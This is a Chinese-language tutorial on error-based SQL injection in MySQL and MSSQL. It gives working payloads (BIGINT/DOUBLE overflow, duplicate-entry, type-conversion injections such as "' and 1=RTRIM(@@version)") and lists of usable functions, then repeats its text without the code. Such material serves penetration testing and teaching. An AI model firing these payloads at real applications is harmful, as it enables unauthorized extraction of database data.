sql注入报错分享(mssql+mysql)
字数 765 2025-08-22 12:22:42

MySQL与MSSQL报错注入技术详解

一、MySQL报错注入技术

1. 溢出类报错注入

1.1 BIGINT溢出

当超过MySQL的整型范围时会导致溢出,MySQL会将错误信息带出。

特征报错

BIGINT UNSIGNED value is out of range in...

利用方法

select (~(select * from (select user())x) + 1, 1)

1.2 利用函数参数报错

多种函数可以触发溢出报错:

  • ABS函数:
select abs(~(select * from (select user())a)) + 1
  • EXP函数:
select exp(~(select * from (select user())a)) + 1
  • AVG函数:
select AVG(~(select * from (select user())x) + 1)

1.3 可用函数列表

以下函数均可用于触发溢出报错:

ABS, ACOS, AREA, AsBinary, ASCII, ASIN, AsText, AsWKB, AsWKT, ATAN, ATAN2, AVG, BIN, BIT_AND, BIT_COUNT, BIT_LENGTH, BIT_OR, BIT_XOR, CEIL, CEILING, CENTROID, CHARACTER_LENGTH, CHAR_LENGTH, COALESCE, COMPRESS, CONCAT, COS, COT, COUNT, CRC32, DAY, DAYNAME, DAYOFMONTH, DAYOFWEEK, DAYOFYEAR, DEGREES, DES_DECRYPT, DES_ENCRYPT, DIMENSION, ENCRYPT, ENDPOINT, ENVELOPE, EXP, ExteriorRing, FLOOR, FROM_DAYS, FROM_UNIXTIME, GeomCollFromText, GeomCollFromWKB, GeometryCollectionFromText, GeometryCollectionFromWKB, GeometryFromText, GeometryFromWKB, GeomFromText, GeomFromWKB, GeometryType, GLENGTH, GROUP_CONCAT, HEX, HOUR, INET_ATON, INET_NTOA, IsClosed, IsEmpty, IS_FREE_LOCK, ISNULL, IsSimple, IS_USED_LOCK, LAST_DAY, LAST_INSERT_ID, LCASE, LENGTH, LineFromText, LineFromWKB, LineStringFromText, LineStringFromWKB, LN, LOAD_FILE, LOG, LOG10, LOG2, LOWER, LTRIM, MAX, MD5, MICROSECOND, MIN, MINUTE, MLineFromText, MLineFromWKB, MONTH, MONTHNAME, MPointFromText, MPointFromWKB, MPolyFromText, MPolyFromWKB, MultiLineStringFromText, MultiLineStringFromWKB, MultiPointFromText, MultiPointFromWKB, MultiPolygonFromText, MultiPolygonFromWKB, NumGeometries, NumInteriorRings, NumPoints, OCT, OCTET_LENGTH, OLD_PASSWORD, ORD, PASSWORD, PointFromText, PointFromWKB, PolyFromText, PolyFromWKB, PolygonFromText, PolygonFromWKB, QUARTER, QUOTE, RADIANS, RAND, RELEASE_LOCK, REVERSE, ROUND, RTRIM, SECOND, SEC_TO_TIME, SHA, SHA1, SIGN, SIN, SLEEP, SOUNDEX, SPACE, SQRT, SRID, STARTPOINT, STD, STDDEV, STDDEV_POP, STDDEV_SAMP, SUM, TAN, TIME_TO_SEC, TO_DAYS, TO_SECONDS, TRIM, UCASE, UNHEX, UNCOMPRESS, UNCOMPRESSED_LENGTH, UNIX_TIMESTAMP, UPPER, VAR_POP, VAR_SAMP, VARIANCE, WEEK, WEEKDAY, WEEKOFYEAR, X, Y, YEAR, YEARWEEK

1.4 DOUBLE溢出

特征报错

DOUBLE value is out of range

利用方法

select +exp(~(select * from (select +user())x))

1.5 COT函数报错

SELECT COT((select * from (select * from (select user())a)b));

2. 主键重复类报错

原理:MySQL主键不允许重复,会抛出"Duplicate entry"异常。

利用方法

select count(*), floor(rand(0)*2) x from mysql.user group by CONCAT(x, user());

可用函数

ASCII, BIN, CEIL, CEILING, FLOOR, OCT, ORD, SECOND, TIME_TO_SEC

带参数函数

select count(*), floor(rand(0)*2,1) x from mysql.user group by CONCAT(x, user());

可用函数:

FORMAT, INSTR, INTERVAL, LEAST, LEFT, LOG, RIGHT, ROUND, STR_TO_DATE, STRCMP
select count(*), floor(rand(0)*2,1,1) x from mysql.user group by CONCAT(x, user());

可用函数:

FORMAT, INTERVAL, LEAST, LPAD, MID, RPAD, SUBSTR, SUBSTRING, SUBSTRING_INDEX

3. XPath语法错误报错

常用函数

extractvalue
updatexml

4. 几何图形报错

可用函数

ST_LatFromGeoHash, ST_LongFromGeoHash, ST_PointFromGeoHash, gtid_subtract, geometrycollection, multipoint, multipolygon, linestring, multilinestring, polygon

二、MSSQL报错注入技术

1. 类型转换报错

1.1 直接转换函数

cast
convert

1.2 参数化查询报错

基本格式

id=' and 1=RTRIM(@@version) and '1'='1

可用函数

CHAR, LTRIM, RTRIM, SPACE, RAND

REPLACE函数

id=' and 1=REPLACE(@@version,1,1) and '1'='1

RIGHT/LEFT函数

id=' and 1=RIGHT(1,@@version) and '1'='1

可用函数:

LEFT, RIGHT

1.3 数值运算报错

通过在字符串后加数字强制转换:

id=' and 1=COT(@@version+1) and '1'='1

可用函数

ABS, ACOS, ASCII, ASIN, ATAN, CEILING, CHAR, COS, COT, DEGREES, EXP, FLOOR, LOG, LOG10, LTRIM, RADIANS, RAND, RTRIM, SIGN, SIN, SOUNDEX, SPACE, SQRT, TAN

ROUND函数

id=' and 1=ROUND(@@version+1,1) and '1'='1

可用函数:

LEFT, RIGHT, POWER, ROUND

2. 直接执行SELECT语句

在某些情况下可以直接执行SELECT语句获取数据。

三、总结

MySQL报错注入要点:

  1. 利用数值溢出(BIGINT/DOUBLE)
  2. 利用主键重复(Duplicate entry)
  3. 利用XPath语法错误
  4. 利用几何图形函数

MSSQL报错注入要点:

  1. 利用类型转换错误
  2. 利用参数化查询中的函数
  3. 通过数值运算强制类型转换

通用技巧:

  1. 使用Burp Suite等工具进行函数fuzz测试
  2. 注意观察错误信息特征
  3. 尝试多种函数组合

以上技术均可用于渗透测试中获取数据库信息,但需注意在实际应用中遵守法律法规,仅在授权范围内使用。

MySQL与MSSQL报错注入技术详解 一、MySQL报错注入技术 1. 溢出类报错注入 1.1 BIGINT溢出 当超过MySQL的整型范围时会导致溢出,MySQL会将错误信息带出。 特征报错 : 利用方法 : 1.2 利用函数参数报错 多种函数可以触发溢出报错: ABS函数: EXP函数: AVG函数: 1.3 可用函数列表 以下函数均可用于触发溢出报错: 1.4 DOUBLE溢出 特征报错 : 利用方法 : 1.5 COT函数报错 2. 主键重复类报错 原理 :MySQL主键不允许重复,会抛出"Duplicate entry"异常。 利用方法 : 可用函数 : 带参数函数 : 可用函数: 可用函数: 3. XPath语法错误报错 常用函数 : 4. 几何图形报错 可用函数 : 二、MSSQL报错注入技术 1. 类型转换报错 1.1 直接转换函数 1.2 参数化查询报错 基本格式 : 可用函数 : REPLACE函数 : RIGHT/LEFT函数 : 可用函数: 1.3 数值运算报错 通过在字符串后加数字强制转换: 可用函数 : ROUND函数 : 可用函数: 2. 直接执行SELECT语句 在某些情况下可以直接执行SELECT语句获取数据。 三、总结 MySQL报错注入要点: 利用数值溢出(BIGINT/DOUBLE) 利用主键重复(Duplicate entry) 利用XPath语法错误 利用几何图形函数 MSSQL报错注入要点: 利用类型转换错误 利用参数化查询中的函数 通过数值运算强制类型转换 通用技巧: 使用Burp Suite等工具进行函数fuzz测试 注意观察错误信息特征 尝试多种函数组合 以上技术均可用于渗透测试中获取数据库信息,但需注意在实际应用中遵守法律法规,仅在授权范围内使用。